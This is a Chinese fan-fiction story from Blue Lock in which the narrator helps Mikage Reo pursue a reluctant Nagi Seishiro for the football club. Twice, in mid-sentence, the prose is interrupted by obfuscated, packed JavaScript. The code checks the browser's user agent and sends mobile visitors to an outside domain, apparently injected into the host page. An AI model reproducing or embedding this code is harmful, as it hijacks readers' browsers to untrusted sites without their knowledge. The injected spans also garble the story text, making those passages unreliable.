推开那扇厚重的、印着足球部徽章的大门,我习惯性地在门口扫视,寻找那个醒目的紫色身影。然而,预想中玲王独自训练或者被部员簇拥的画面并未出现。映入眼帘的景象让我脚步一顿,诧异地挑起了眉。 只见训练场边,御影玲王正和一个异常高大的身影勾肩搭背——或者说,是玲王的手臂正热情地搭在那个人的肩膀上,身体微微前倾,脸上洋溢着一种发现稀世珍宝般的兴奋光芒,紫眸亮得惊人,正对着那人滔滔不绝地说着什么。 而被玲王“钳制”住的对象,正是凪诚士郎。 那头标志性的乱糟糟白发在运动场的灯光下格外醒目。他比185cm的玲王还要高出小半个头,此刻正微微弓着背,试图减轻肩膀上承受的重量,那张没什么表情的脸上,清晰地写着“好麻烦”、“好想逃”、“生无可恋”几个大字。他黑色的眼睛半眯着,眼神放空,像一株被强行从休眠中唤醒、又被热情园丁不停浇灌的大型植物,散发着浓烈的抗拒和低气压。他试图用空闲的那只手去摸口袋里的手机,似乎想靠游戏逃避现实,但玲王搭在他肩上的手巧妙地限制了他的动作范围。 “爱!你来得正好!”玲王眼角的余光瞥见我,兴奋地朝我招手,同时不忘更用力地揽住试图趁势开溜的凪,“快看!我发现了什么!天才!真正的天才啊!” 他激动的声音在空旷的训练场里回荡,引得旁边几个正在做拉伸的部员纷纷侧目,眼神里充满了好奇和……一丝同情(大概是对凪的)。 凪诚士郎在我出现的那一刻,那半眯着的、无精打采的黑色眼睛似乎极其短暂地亮了一下,像濒临窒息的鱼看到了一线生机。就在玲王转头招呼我、手臂力道下意识放松了千分之一秒的瞬间,凪猛地一矮身,以一种与他庞大身躯和“节能”人设极不相符的、近乎鬼魅般的敏捷,精准无比地从玲王的臂弯下“滑”了出去! 整个过程快如闪电,行云流水。前一秒他还像个被热情绑架的大型玩偶,下一秒已经像一道白色的影子,瞬间蹿出去好几米远,目标明确地冲向活动室另一端的出口。 “喂!凪!等等!我还没说完呢!”玲王反应极快,立刻拔腿就追,脸上满是错愕和不甘心。 然而,凪诚士郎的“逃跑”显然经过了精密的节能计算。他充分利用了玲王转身、起步的微小延迟,以及几个挡在路径上的训练器械作为掩护,头也不回,脚步迅捷得如同受惊的羚羊(虽然体型更像犀牛)。当玲王绕过最后一个障碍物冲到门口时,只来得及看到凪那高大的白色背影消失在走廊拐角,留下一个决绝的、写着“别追我,好麻烦”的空气波动。 “可恶……”玲王扶着门框,望着空荡荡的走廊,懊恼地抓了抓自己的紫色短发,俊脸上满是挫败,“跑得也太快了!这家伙的体能和反应速度明明超强的!为什么就是不肯好好踢球啊!” 他转过身,看向走过来的我,紫眸里燃烧着不甘心的火焰,还有对“天才”求而不得的深切苦恼。 “所以……到底发生了什么?”我走到他身边,看着走廊尽头,那里早已没了凪的影子。玲王这突如其来的热情和凪那超越极限的逃跑速度,都让我觉得既好笑又充满谜团。 玲王叹了口气,和我一起走回训练场边,找了张长椅坐下。他脸上还残留着追捕失败的懊恼,但更多的是一种发现新大陆的兴奋。 “太神奇了,爱!”他迫不及待地向我分享,“下午训练前热身,那家伙……凪诚士郎,居然被足球部一个一年级的不小心踢过来的球砸中了后背!就那种软绵绵的传球!” 玲王比划着,眼神里充满了不可思议:“结果呢?那球砸到他背上,反弹出去的角度和力度,刚好落在另一个正在跑位的二年级前锋脚下!位置舒服得那家伙自己都愣了一下,下意识一脚推射,居然进了!死角!” 他越说越激动:“我当时就觉得不对劲,太巧了!然后我就试着……嗯,稍微引导了一下。”他脸上露出一丝属于“白宝王子”的狡黠,“我故意让几个人在禁区附近乱传,球又‘不小心’滚到他脚边了。你猜怎么着?” 玲王猛地凑近我,紫眸亮得如同探照灯:“那家伙!凪诚士郎!他明明在走神,看都没看球!可就在球快碰到他脚尖的时候,他那只脚——就轻轻那么一抬、一拨!动作小得几乎看不见!球就像装了导航一样,穿过三个防守队员的腿缝,直接滚到了无人盯防的边路空档!精准得可怕!那感觉……就像球是活的,在主动避开所有障碍物,寻找最佳路线!这根本不是运气,是本能!是怪物一样的球感和空间感!” 他的声音因为激动而微微拔高,手舞足蹈地描述着那“神之一拨”。 “然后呢?”我被他描述的画面也勾起了兴趣。那个连走路都嫌累的凪,居然在足球上有这种天赋? “然后?”玲王的表情瞬间垮了下来,又气又无奈,“然后他就一脸‘好麻烦’地走开了!好像刚才那一下只是随手拍掉一只苍蝇!我追上去问他以前踢不踢球,他说小学体育课玩过几次,觉得跑来跑去太累就放弃了。我问他有没有兴趣加入足球部,他直接摇头说不要,太麻烦了。我说给你买最新款的游戏机!他说他自己能买。我说给你配专门的体能师和营养师,保证你不累!他说睡觉最不累。我甚至……”玲王的声音低了下去,带着点咬牙切齿,“我甚至暗示可以帮他搞定所有麻烦的作业……结果他看了我一眼,说‘部长,滥用职权不好’。” 玲王挫败地捂住脸,“油盐不进!软硬不吃!简直是我见过最难搞的‘天才’!” 想象着玲王使出浑身解数利诱,却被凪用最节能的方式一一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251804|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化解的场景,我实在没忍住,低低地笑出了声。这确实很符合凪的风格。他那“节能至上”的信条,简直像一层无懈可击的绝对防御。 “你还笑!”玲王放下手,不满地瞪了我一眼,但眼神里没有真的责怪,反而带着点委屈巴巴的求助意味,“爱,你跟他是同班同学,对他了解多少?他平时除了睡觉,还干点什么?有没有什么特别的爱好?或者……弱点?” 他凑得更近了些,压低了声音,紫眸里闪烁着“挖掘情报”的精光。 我认真地回想了一下。凪诚士郎在我的班级存在感低得如同背景板,除了他过于醒目的体型和那头乱糟糟的白发。 “了解……真的很少。”我实话实说,“就像你知道的,他几乎每节课都在睡觉,老师似乎也默认了,只要他不打呼噜影响别人就行。下课……也很少离开座位,要么继续趴着,要么就是玩手机游戏,玩得还挺投入的。午饭……”我顿了顿,“好像都是去小卖部买面包或者饭团,然后带回教室吃。很少见他跟谁一起走,或者主动跟人说话。体育课……除了必要的项目,其他时间也基本在树荫下坐着。” 我努力搜刮着关于凪的碎片信息,“哦,对了,他似乎很擅长游戏。有几次午休,听到后排几个男生讨论某个很难通关的游戏,提到凪的名字,说他只用了一天就通关了,还拿到了最高评价。” “游戏……”玲王若有所思地摸着下巴,“这个我试过了,用最新款游戏诱惑他,失败。还有吗?比如……他有没有特别在意的东西?或者特别讨厌的事情?” 我摇摇头:“没看出来。他好像对什么都提不起太大兴趣,除了睡觉和游戏。讨厌的事情……大概就是所有需要消耗体力或者脑力的事情?” 我想起他评价骑自行车载我“好累”的样子,还有课堂上被迫清醒时那生无可恋的眼神。“感觉他唯一的生存目标就是‘节能’地活着。社交对他来说,大概也是巨大的能量消耗吧?所以他总是一个人。” 我总结道。 “也就是说,他平时都是一个人。”玲王努力总结着,眉头紧锁,像是在解一道极其复杂的难题,“独行侠……节能主义深入骨髓……对物质诱惑免疫……对社交无感……唯一的兴趣点是游戏和睡觉……” 他喃喃自语,手指无意识地敲击着膝盖,“突破口……突破口到底在哪里……” 看着他这副绞尽脑汁、不达目的誓不罢休的样子,我不得不佩服他作为足球部部长那可怕的毅力和决心,以及对发掘“天才”的狂热执着。但同时,也隐隐有些担忧。玲王身上那种“一旦认定目标就全力以赴”的特质,有时会显得过于强势和具有侵略性,尤其是在对方明确表示拒绝的时候。 “玲王,”我斟酌着开口,声音放轻了些,“我知道你很想让他加入,他可能确实很有天赋。但是……”我看着他专注的侧脸,“不要太逼他了。兔子急了也会咬人,更何况……” 我顿了顿,目光扫过玲王那在高中生中堪称鹤立鸡群、但在凪面前还是稍显“纤细”的185cm身板,又回想起凪那接近一米九、虽然慵懒却充满力量感的庞大身躯,以及他刚才那爆发力惊人的逃跑速度。 “……更何况,凪同学的体型,可比你还要高大不少。真把他惹急了,动起手来……” 我没有把话说完,但意思不言而喻。以玲王那点花拳绣腿,对上被逼急了的、体能潜力深不可测的“节能怪兽”,胜算实在渺茫。 玲王先是一愣,随即像是听到了什么极其荒谬的事情,下意识地嘟囔了一句:“怎么可能啊……” 他堂堂御影集团的少爷,白宝高中的王子,万人迷部长,怎么可能真的跟人打架?还是为了拉人入部这种“正当理由”?这完全超出了他的认知范围。 然而,下一秒,他脸上的荒谬感迅速褪去,像是捕捉到了什么极其重要的信息点。他猛地转过头,紫罗兰色的眼睛一眨不眨地盯住我,刚才还紧锁的眉头瞬间舒展开,嘴角抑制不住地向上扬起,形成一个极其明亮、甚至带着点促狭和惊喜的笑容。 “爱……” 他拖长了语调,身体微微前倾,靠近我,那漂亮的紫眸里清晰地映出我有些不明所以的脸,闪烁着一种近乎狡黠的光芒,“你刚才……是不是在关心我?” 他的声音压得很低,带着一丝不易察觉的、混合着得意和期待的笑意,像羽毛轻轻搔刮着耳膜。 周围是足球部员们训练的呼喊声、球鞋摩擦地板的吱呀声、足球撞击墙壁的砰砰声。但这些嘈杂的背景音仿佛瞬间被调低了音量,整个世界似乎只剩下他凑近的脸,那双亮得惊人的紫眼睛,以及那句带着热气、直白又暧昧的询问。 心脏像是被什么东西轻轻撞了一下,不疼,却带来一阵细微的悸动。脸颊的温度似乎也在悄然攀升。我看着他眼中那毫不掩饰的、带着点小得意的探询,看着他因为我的“关心”而瞬间阴转晴、甚至有些飞扬的眉眼,心底那点无奈和担忧,忽然就化开了一丝。 我迎上他亮晶晶的目光,没有躲闪,嘴角也自然地弯起一个清浅的弧度,带着点坦然,又带着点“被你看穿了”的无奈笑意。 “嗯,” 我点了点头,声音清晰地落在他期待的目光里,带着一丝自己也未曾察觉的柔软,“说对了。” 是的,说对了。 我在关心他。 关心这个为了梦想和“天才”而执着得有些莽撞、却又耀眼得让人无法移开目光的御影玲王。 玲王脸上的笑容瞬间绽开,如同初春枝头最绚烂的紫藤花瀑,明媚得晃眼。那点小小的促狭被纯粹的、巨大的喜悦取代,紫眸里流淌着暖融融的光。他像是得到了最珍贵的糖果,心满意足,又带着点小小的得意忘形,甚至忘记了刚才还在为“天才凪”的逃跑而烦恼。 “我就知道!” 他小声地、带着点雀跃地嘟囔了一句,身体放松地靠回长椅背,双手枕在脑后,望着训练场顶棚明亮的灯光,嘴角的笑意怎么都压不下去。仿佛我刚才那句简单的承认,比签下十个天才球员还要让他开心。 足球撞击墙壁的声音、部员们的呼喊声,重新清晰地涌入耳中。训练场里蒸腾着青春的热气。我看着身边这个因为一句“关心”就变得如此满足和快乐的少年,心底那片被父亲退役、家庭关系微妙变化所搅动的波澜,似乎也在这个瞬间,被一种更温暖、更平和的情绪悄然抚平。 5. 骑士姬の威慑力 为了玲王,我打算努力一下接近凪。 凪诚士郎像是有心灵感应一般,明明上一秒还在啃面包,我凑近之后立刻就趴桌装睡。动作行云流水。 没办法,只好午休的时候努力一下了。 午休铃声尖锐地撕破教室的宁静,宣告着短暂自由的降临。我几乎是同步从座位上弹了起来,目光像探照灯一样精准地射向教室后排靠窗那个角落——那个属于凪诚士郎的“节能堡垒”。 然而,就在我视线聚焦的零点一秒前,那个庞大的、白色的、乱糟糟的脑袋,连同他摊在桌上的身影,像是被按下了某种奇异的“蒸发键”,瞬间消失得无影无踪! 空荡荡的课桌,只剩下一个被捏扁的牛奶盒,和桌面上一点可疑的面包屑,无声地嘲笑着我的计划。 我僵在原地,难以置信地眨了眨眼。怎么可能?铃声才刚落下!他是怎么做到的?难道真像那些荒诞的流言里说的,这个节能至上的家伙,其实掌握了某种瞬移的超能力?一股混杂着挫败和荒谬的无力感涌上心头。 “清田同学?不去吃饭吗?”邻座的同学好奇地问。 “……嗯,就去。”我勉强应了一声,抓起自己的便当袋,快步走出教室。走廊里已是人声鼎沸,穿着白宝制服的学生们如同潮水般涌向食堂和小卖部,喧嚣的人流几乎要将我淹没。我逆着人流,目光锐利地扫视着每一个岔路口,每一个楼梯转角,每一个可能藏匿那个巨大白色身影的角落。 中庭的樱花树下?没有。体育馆背阴的长椅?空无一人。甚至连最偏僻、通往旧校舍的荒废楼梯间,我都去晃了一圈,回应我的只有积年的灰尘和死寂。那个像幽灵一样的凪诚士郎,仿佛真的融入了空气,消失在了这所巨大的校园里。疲惫感开始侵蚀我的脚踝,正当我站在教学楼三楼的楼梯口,望着下方依旧涌动的人头,准备彻底放弃这无望的搜寻时—— 下方突然传来一阵小小的骚动和一声短促的惊呼。 “啊!糟了!” 是玲王的声音! 我立刻循声望去。只见在下一层楼梯的转角平台,穿着足球部运动外套的御影玲王正一脸懊恼地弯着腰。一个最新款的智能手机正躺在他脚边的台阶上,屏幕朝下,显然是从他匆忙的口袋里滑落出来的。 玲王急忙伸手去捡。 就在他的指尖即将触碰到手机边缘的刹那—— 一道迅捷如电的黑影,毫无预兆地从旁边楼梯的阴影里探出! 那是一只穿着普通运动鞋的脚,动作快得几乎看不清轨迹,带着一种难以言喻的精准和松弛感,在手机即将彻底亲吻冰冷台阶的前一瞬间,轻轻巧巧地用鞋面内侧一垫! 啪嗒。 一声轻响。 那部刚刚还自由落体的手机,此刻像是被施了魔法,稳稳地、服服帖帖地停在了那只运动鞋的鞋面上,纹丝不动,连屏幕都安然无恙。整个过程流畅得如同顶级球员在绿茵场上的一次教科书般的停球,充满了举重若轻的优雅。 “!” 玲王伸出去的手僵在半空,脸上的懊恼瞬间被惊愕取代。他猛地抬头,看向那只脚的主人。 一个穿着连帽衫的人正坐在台阶上,大大的黑色兜帽几乎遮住了整张脸,只能看到几缕不听话的、乱糟糟的白发从帽檐下顽强地探出头。他微微低着头,似乎正专注地盯着夹在膝盖上的手机屏幕,手指还在屏幕上飞快地点按着,仿佛刚才那神乎其技的一脚,只是他打游戏间隙一个微不足道、顺手而为的小动作。 玲王愣了两秒,才找回自己的声音,带着由衷的惊讶和一丝后怕:“谢……谢谢!” 他小心翼翼地弯腰,从那只仿佛带着磁力的鞋面上取回自己的手机,目光却紧紧锁定在那个神秘的兜帽人身上,“刚才那一下,真是帮了大忙了!太厉害了!简直像职业球员的停球技术……” 他紫罗兰色的眼睛里闪烁着发现宝藏般的光芒,语气充满了欣赏和探究。 然而,他的话还没说完,兜帽下的人似乎终于打完了游戏里的关键操作,慢悠悠地抬起了头。 兜帽的阴影滑落,露出了那张熟悉的、没什么表情却在此刻显得格外“麻烦”的脸——标志性的乱糟糟白发,半睁着的、带着浓浓困倦感的黑色眼睛。 空气仿佛凝固了。 玲王脸上的感激和欣赏瞬间冻结,随即被一种巨大的、难以置信的狂喜和“踏破铁鞋无觅处”的兴奋所取代!他紫眸中的光芒简直要化为实质性的火焰! “凪——诚——士——郎——!” 玲王的声音拔高了八度,带着猎人终于锁定猎物的激动,几乎是吼了出来,“原来你在这里!” “糟了。” 凪诚士郎那张万年不变的脸上,第一次清晰地浮现出类似“大事不妙”的表情。他黑色的瞳孔猛地一缩,嘴里清晰地吐出两个音节,身体反应快过大脑——他像一只被踩了尾巴的大型猫科动物,猛地从台阶上弹射起来,转身就要往楼上冲! “别想跑!” 玲王哪里肯放过他,长腿一迈,三步并作两步就追了上去。他眼中燃烧着对“天才”的执着火焰,速度快得惊人。 凪冲上楼梯,高大的身躯在狭窄的楼梯间显得有些笨拙,但他的求生本能显然被激发到了极致。他刚冲上我所在的这一层平台,玲王的身影也如影随形地出现在了楼梯口! 凪的目光瞬间锁定在我身上,那半睁的黑眼睛里闪过一丝绝境中看到浮木般的微光。他毫不犹豫,一个急转弯,庞大的身躯以一种与他体型不符的灵活,瞬间躲到了我的身后!他甚至伸出两只长长的手臂,像寻求庇护的树袋熊一样,虚虚地搭在了我的肩膀上,试图把我当成一块人形盾牌。 “清田……救救我……” 他低沉平板的声音里,罕见地带上了一丝微弱的、近乎哀求的颤音,气息因为刚才的冲刺而微微急促。 我被这突如其来的“秦王绕柱”和“树袋熊式”求救弄得措手不及,身体被他带得晃了一下。还没等我反应过来,玲王已经冲到了面前,紫色的发丝因为奔跑而略显凌乱,俊脸上是毫不掩饰的兴奋和势在必得。 “凪!这次你跑不掉了!” 玲王试图绕过我去抓他身后的凪,“加入足球部吧!你的天赋是上帝赐予的礼物!不能浪费在睡觉上啊!” “不要……好麻烦……” 凪在我身后闷闷地抗议,高大的身体努力缩着,试图完全隐藏在我相对“娇小”的身影之后,还不忘把我往前推了推,试图增加“盾牌”的厚度。 “玲王!” 我终于忍无可忍,提高了音量,声音带着一丝无奈和坚决,“停一下!” 我的声音不大,却像带着某种奇异的镇定效果。玲王伸出去的手停在半空,脸上狂热的兴奋稍稍冷却,紫眸看向我,带着点被打断的不解和委屈。躲在我身后的凪也停止了把我当盾牌推的动作,只是依旧紧紧贴在我背后,像一块巨大而沉重的白色背景板,散发着“生人勿近(尤其是御影玲王)”的低气压。 “你们两个,” 我叹了口气,目光在斗志昂扬的玲王和恨不得原地消失的凪之间扫了个来回,“跟我来天台。” *** 天台的铁门在身后哐当一声关上,隔绝了教学楼的喧嚣。午后的阳光毫无遮拦地倾泻下来,带着暖意。微风拂过,带来远处操场上隐约的哨声。 我走到我们惯常待的角落,放下便当袋,靠着围栏坐下。玲王紧随其后,在我旁边隔了一小段距离坐了下来,目光依旧像探照灯一样锁定着慢吞吞挪过来的凪。凪则选择了离我们最远的一个角落,贴着墙壁坐下,尽可能地拉开距离,然后才慢悠悠地从他那件宽大的连帽衫口袋里掏出一个……被挤压得有点变形的饭团包装袋。 气氛有些诡异的沉默。只有凪撕开包装袋的塑料摩擦声,和他小口啃食饭团的细微咀嚼声。 我打开自己的便当盒,玲王也打开了他那个印着低调奢华logo的巨大便当盒。玲王家的厨师显然知道他要招待(或者说围堵)重要人物(凪),今天的便当格外丰盛,甚至多准备了一份精致的玉子烧和炸虾。 “凪,”玲王率先打破沉默,语气努力放得温和,带着循循善诱的味道,拿起一块炸虾试图递过去,“尝尝这个?我家厨师最拿手的。” 凪抬起眼皮,黑色的瞳孔没什么焦点地扫了一眼那金黄诱人的炸虾,又慢吞吞地垂下眼睑,专注于自己手里那个看起来干巴巴的梅子饭团,含糊地吐出一个字:“……饱。” 玲王拿着炸虾的手僵在半空,脸上完美的笑容出现了一丝裂痕。但他显然不会轻易放弃,立刻转换策略,紫眸闪烁着真诚的光芒:“你看,你上午在训练场那几下!简直神乎其技!你对球的感觉,对空间的判断,那种本能……绝对是天生的前锋!不,甚至是前场自由人的料!只要稍加训练……” “不要……”凪咽下嘴里的饭团,声音依旧平板,“训练……好累。” “累?”玲王像是抓住了关键词,立刻精神一振,“这个完全不用担心!我们有最科学的训练计划!我会让体能教练给你量身定制!保证让你用最节能的方式达到最佳效果!而且,进球的感觉,那种掌控全场、万众瞩目的感觉,你不想试试吗?” 他开始描绘充满诱惑力的蓝图。 “……不想。”凪的回答简洁有力,带着一种油盐不进的顽固,“睡觉……比较舒服。” 玲王被噎得一时语塞,紫眸里燃起一丝挫败的小火苗。他深吸一口气,似乎准备祭出更大的筹码:“那……游戏呢?最新款的PS5主机加所有首发游戏?或者顶级配置的电竞PC?只要你……” “……我自己能买。”凪打断他,终于把最后一口饭团塞进嘴里,腮帮子微微鼓起,像一只储粮的仓鼠。他慢吞吞地摸出手机,显然打算用游戏世界彻底屏蔽现实。 玲王彻底没辙了,求助般地看向我,眼神里写满了“快帮帮我”。 我看着这鸡同鸭讲、完全不在一个频道上的两人,无奈地放下筷子。“玲王,” 我开口,声音平静,“你所谓的‘最节能训练’,对他来说,可能还是太‘耗能’了。” 我看向凪,“至于你,凪同学,玲王只是看到了你的可能性,他太心急了。但你至少可以明确告诉他,你对足球真的毫无兴趣,让他彻底死心?” 凪滑动手机屏幕的手指顿了一下。他抬起眼皮,那双没什么波澜的黑色眼睛,第一次比较认真地看向了玲王,然后又落回我身上,似乎在权衡。 “……没兴趣。” 他终于给出了一个相对完整的回答,虽然依旧简短,但指向明确。他又补充了一句,像是解释,又像是纯粹的抱怨,“……跑来跑去,很麻烦。” 玲王眼中的小火苗瞬间黯淡了不少,像是被浇了一盆冷水。他张了张嘴,还想说什么,但看着凪那副“话题结束,勿扰”的坚决姿态,最终还是颓然地垮下了肩膀,拿起一块玉子烧,泄愤似的塞进嘴里。 短暂的和平似乎降临了。我们三人各自安静地吃着东西,只有风声和凪手机里传来的轻微游戏音效。玲王大概在消化被拒绝的失落,而我则在思考如何安慰这个过于执着的好友。 然而,这份和平并没有持续太久。 玲王大概是不甘心,目光再次瞟向凪。凪虽然低着头打游戏,但似乎对玲王这种“灼热”的视线有着本能的警惕,身体不自觉地又往墙角缩了缩。 “那个……凪,”玲王不死心,声音放得更轻,带着点小心翼翼的试探,“就算不加入部里,偶尔……我是说非常偶尔,比如我们训练赛缺人的时候,你来客串一下?就当帮个忙?报酬……”他顿住了,大概想起金钱攻势的失败。 他话音未落,凪就像被针扎了一样猛地从地上弹了起来! 这次的动作比之前任何一次逃跑都要迅猛!他高大的身躯爆发出惊人的弹跳力,连手机都差点脱手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251805|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看也不看玲王和我,目标只有一个——天台那扇唯一的铁门! “凪!”玲王几乎是条件反射地跟着弹了起来,长腿一迈就要追。 “御影玲王!” 我真是受够了这没完没了的追逐战。一股无名火窜了上来,我猛地站起身,声音不高,却带着一种连我自己都有些陌生的、冰冷的威慑力,清晰地穿透了天台的风。 玲王和已经冲到铁门边的凪,动作同时僵住了,像是被按下了暂停键。 我面无表情地看着他们俩,一个保持着起跑姿势,紫眸里还带着未散的急切;一个手已经搭上了冰凉的门把手,高大的背影透着一股随时准备夺门而出的决绝。 “你们两个,” 我的声音平静得没有一丝波澜,目光在他们之间扫视,最终定格在玲王身上,然后缓缓移向凪,“如果谁再敢在这里玩一次‘你追我逃’的无聊戏码……” 我微微侧身,指了指身后天台边缘那齐腰高的水泥围栏。午后的阳光在冰冷的灰色水泥上投下清晰的阴影。 “……我就把你们两个,” 我的语气平淡得像在陈述明天的天气预报,“从这儿,丢下去。” 世界安静了。 风声仿佛都被冻结。 玲王脸上的急切和凪背影里的紧绷,瞬间被一种巨大的、难以置信的错愕所取代。玲王那双漂亮的紫眼睛瞪得溜圆,里面清晰地倒映着我此刻毫无表情的脸。凪虽然没有回头,但他搭在门把手上的手指,明显地、极其轻微地颤抖了一下。 这句话当然是假的。假得离谱。别说丢下去了,推一下我都嫌费劲。但也许是我此刻的语气太过平静,眼神太过冰冷,又或者是我平时在他们面前从未展现过这种近乎“威胁”的姿态……总之,这句话像一道无形的冰墙,瞬间将两人牢牢钉在了原地。 玲王艰难地咽了口唾沫,喉结滚动了一下。他慢慢地、极其缓慢地收回了迈出去的腿,动作僵硬得像生了锈的机器人。他坐回了原来的位置,双手规规矩矩地放在膝盖上,像个被老师罚坐的小学生,只是眼神还带着一丝惊魂未定和茫然,偷偷地瞟着我。 凪诚士郎那只搭在门把手上的手,也像是被烫到一般,猛地缩了回来。他高大的身躯在原地停顿了几秒,似乎在判断我这句话的真实性和危险性。最终,他慢吞吞地转过身,那张没什么表情的脸上,第一次清晰地浮现出一种名为“极度麻烦且危险”的复杂情绪。他像一只被逼到角落、权衡利弊后决定暂时妥协的大型野生动物,迈着沉重的、极其不情愿的步伐,一步、一步地挪回了刚才那个角落,然后贴着墙壁,慢慢地、无声地坐了下去,把自己缩成一团巨大的白色阴影,尽量减少存在感。 他甚至连手机都不敢玩了,就那么抱着膝盖,下巴搁在膝盖上,黑色的眼睛半睁着,放空地盯着地面,仿佛在思考“节能”和“生命安全”之间的辩证关系。 很好。 世界终于清静了。 我重新坐下,拿起筷子,夹起一块凉掉的玉子烧,慢条斯理地放进嘴里。嗯,味道还不错。 玲王偷偷地、极其小心地观察着我的脸色,看我似乎真的只是在安静吃饭,没有任何后续动作,才像是劫后余生般,长长地、无声地吁了一口气。他拿起自己的便当,也开始埋头苦吃,只是动作变得异常安静和……乖巧? 阳光依旧温暖,微风依旧和煦。天台上只剩下细微的咀嚼声和远处城市的背景噪音。 玲王吃着吃着,大概是觉得气氛实在太过诡异,又或者骨子里那份对足球和“天才”的执着实在按捺不住。他偷偷瞄了一眼角落里散发着“生人勿近”气息的凪,又小心翼翼地看了看我平静的侧脸,紫眸里闪烁着挣扎的光芒。 最终,对足球的热爱(以及对“天才”的渴望)似乎暂时压过了对“被丢下天台”的恐惧。他清了清嗓子,用蚊子哼哼般的声音,对着凪的方向,极其谨慎、极其卑微地再次开口: “……那个……凪同学……关于那个停球……” “玲王。” 我头也没抬,只是平静地叫了一声他的名字。 “在!” 玲王瞬间坐直,像被教官点名的新兵,声音洪亮得把自己都吓了一跳。他立刻噤声,低下头,飞快地扒拉着便当盒里的米饭,速度快得仿佛要把自己噎死。 角落里,凪诚士郎那放空的目光似乎极其短暂地在我脸上聚焦了千分之一秒,然后迅速恢复原状。他抱着膝盖的手,默默地、又把自己往墙角的阴影里缩了缩,白色的脑袋几乎要埋进臂弯里。 嗯,这下,是真的安静了。 午休结束的预备铃声在校园里悠扬地响起。我们三人几乎是同时站起身。 玲王动作麻利地收拾好他那巨大的便当盒,眼神复杂地又看了一眼角落里的凪,最终还是没敢再说什么,只是对我露出了一个带着点讨好和劫后余生的、极其标准的“白宝王子”式微笑:“爱,我先回教室了!” 说完,像一阵紫色的风,迅速消失在天台门口,仿佛多待一秒都会有生命危险。 凪诚士郎也慢吞吞地站了起来,高大的身躯舒展开,带着一种如释重负的慵懒。他看也没看我们,低着头,像一道白色的影子,悄无声息地贴着墙根滑了出去,迅速消失在楼梯口,速度快得仿佛刚才那个缩在角落的可怜虫是另一个人。 我最后一个收拾好东西,走到天台门口。刚要推门,眼角的余光瞥见墙角的地面上,静静躺着一个被遗忘的东西——那个被凪捏得变形的饭团包装袋。 我弯腰捡起,冰凉的塑料触感提醒着刚才那场荒诞又有效的“镇压”。 看着空无一人的天台,再想想玲王那“惊弓之鸟”般的反应和凪那“避之唯恐不及”的逃跑速度,一丝极淡、几乎难以察觉的笑意,终于还是不受控制地,悄悄爬上了我的嘴角。 看来偶尔……嗯,只是偶尔,用点非常规手段,效果似乎还不错? 6. 说服成功 我果然还是要找凪诚士郎谈一谈。 有了上次的经历,凪诚士郎没再在我过来的时候装睡了。 午休结束的铃声还在走廊回荡,教室里人声鼎沸。我径直走向那个靠窗、仿佛自成一国的角落。凪诚士郎依旧趴着,白色的脑袋枕在交叠的手臂上,但当我拉开他前座的椅子坐下时,那浓密白色睫毛覆盖下的黑色眼睛,极其缓慢地掀开了一条缝,没什么情绪地瞥了我一眼,随即又半阖上,像一尊对世界兴趣缺缺的懒散神像。 “凪同学。”我开门见山,声音压得不高,确保只有我们两人能听见,“我们谈谈?关于玲王。” 他没什么反应,只是从喉咙深处发出一声含糊的、介于“嗯”和“哼”之间的气音,算是听到了。 “我知道你很困扰。”我尽量让自己的语气显得平和,不带任何指责,“玲王他……就是那样的人。一旦认定了目标,就会全力以赴,甚至有点……不顾一切。” 我想起天台上他眼中燃烧的火焰和对“天才”的执着,叹了口气,“他看到了你的天赋,那是真的。但你的态度也很明确,你觉得麻烦,不想参与。这本身没有错。” 凪的眼皮又掀开了一点,黑色的瞳孔没什么焦点地落在桌面的木纹上,依旧沉默。 “问题在于,”我继续道,“你们现在这样,一个追一个逃,一个拼命塞好处一个拼命躲麻烦,像个解不开的死结。玲王不会轻易放弃,这你知道。而你呢?你打算永远这样躲下去?或者在某个忍无可忍的时刻,真的给他一拳?” 我顿了顿,想起自己之前在天台的“威胁”,虽然那是假的,但冲突升级的可能性并非不存在,“这对你们两个都没好处,纯粹是精神内耗,更麻烦。” 这一次,凪的头微微动了一下,下巴在手臂上蹭了蹭,终于发出了一点清晰的声音,那语调依旧是平板无波的,带着他特有的慵懒:“……那该怎么做?” 他终于问了。虽然表情还是那副“好麻烦”的样子,但至少愿意听解决方案了。 “很简单,一次彻底、开诚布公的谈话。”我直视着他半睁的眼睛,“告诉他你真实的想法,不是‘好麻烦’三个字,而是你为什么觉得麻烦,你对足球到底有没有那么一丁点兴趣,或者完全没有。也听听他真正的想法,他为什么那么执着于你。让他明白,强扭的瓜不甜,再好的天赋,主人不愿意用也是白搭。或许……你们能找到某种折中的方式?或者,至少让他彻底死心,不再打扰你。” “学校里人多眼杂,隔墙有耳。” 我压低声音,意有所指,“有些话,我不希望被玲王听到,尤其是可能让他难过或者误会的话。所以,” 我直视着他那双缺乏生气的眼睛,“这个周末,我们找个地方谈。咖啡馆?冷饮店?或者安静点的公园?地方你挑,时间你定,我会配合你。” 凪的视线终于聚焦了一点,落在我脸上。他没什么表情,但那双总是半睁着的黑色眼睛里,似乎掠过一丝极其细微的、类似“认命”的无奈。他盯着我看了几秒,然后鼻腔里发出一声短促的、带着浓浓嘲讽意味的轻哼。 “……哼。清田同学,真贴心啊。” 